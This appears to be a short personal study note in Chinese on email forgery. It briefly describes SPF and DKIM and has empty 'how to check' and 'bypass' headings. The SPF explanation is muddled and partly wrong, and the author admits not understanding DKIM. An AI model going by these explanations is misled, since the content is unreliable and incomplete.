https://mp.weixin.qq.com/s/tOOBZ1aC6SsjslCM70WKBQ 邮件伪造

SPF

Sender Policy Framework 简单来说就是通过修改 SPF 记录来导致邮件任意发送

查看方式

绕过

SPF 显然有其局限性,当用户 A 发邮件给 B,B 再转发给 C 的时候,SPF 将邮件的发件人转换为 B,这个时候就产生了 DKIM 技术

DKIM

利用了公开密钥提供了身份验证和数字签名功能防止伪造篡改。

查看方式

绕过

说实话看的不是很明白


web知识
http://example.com/2024/09/16/web知识/
作者
z2zQAQ
发布于
2024年9月16日
许可协议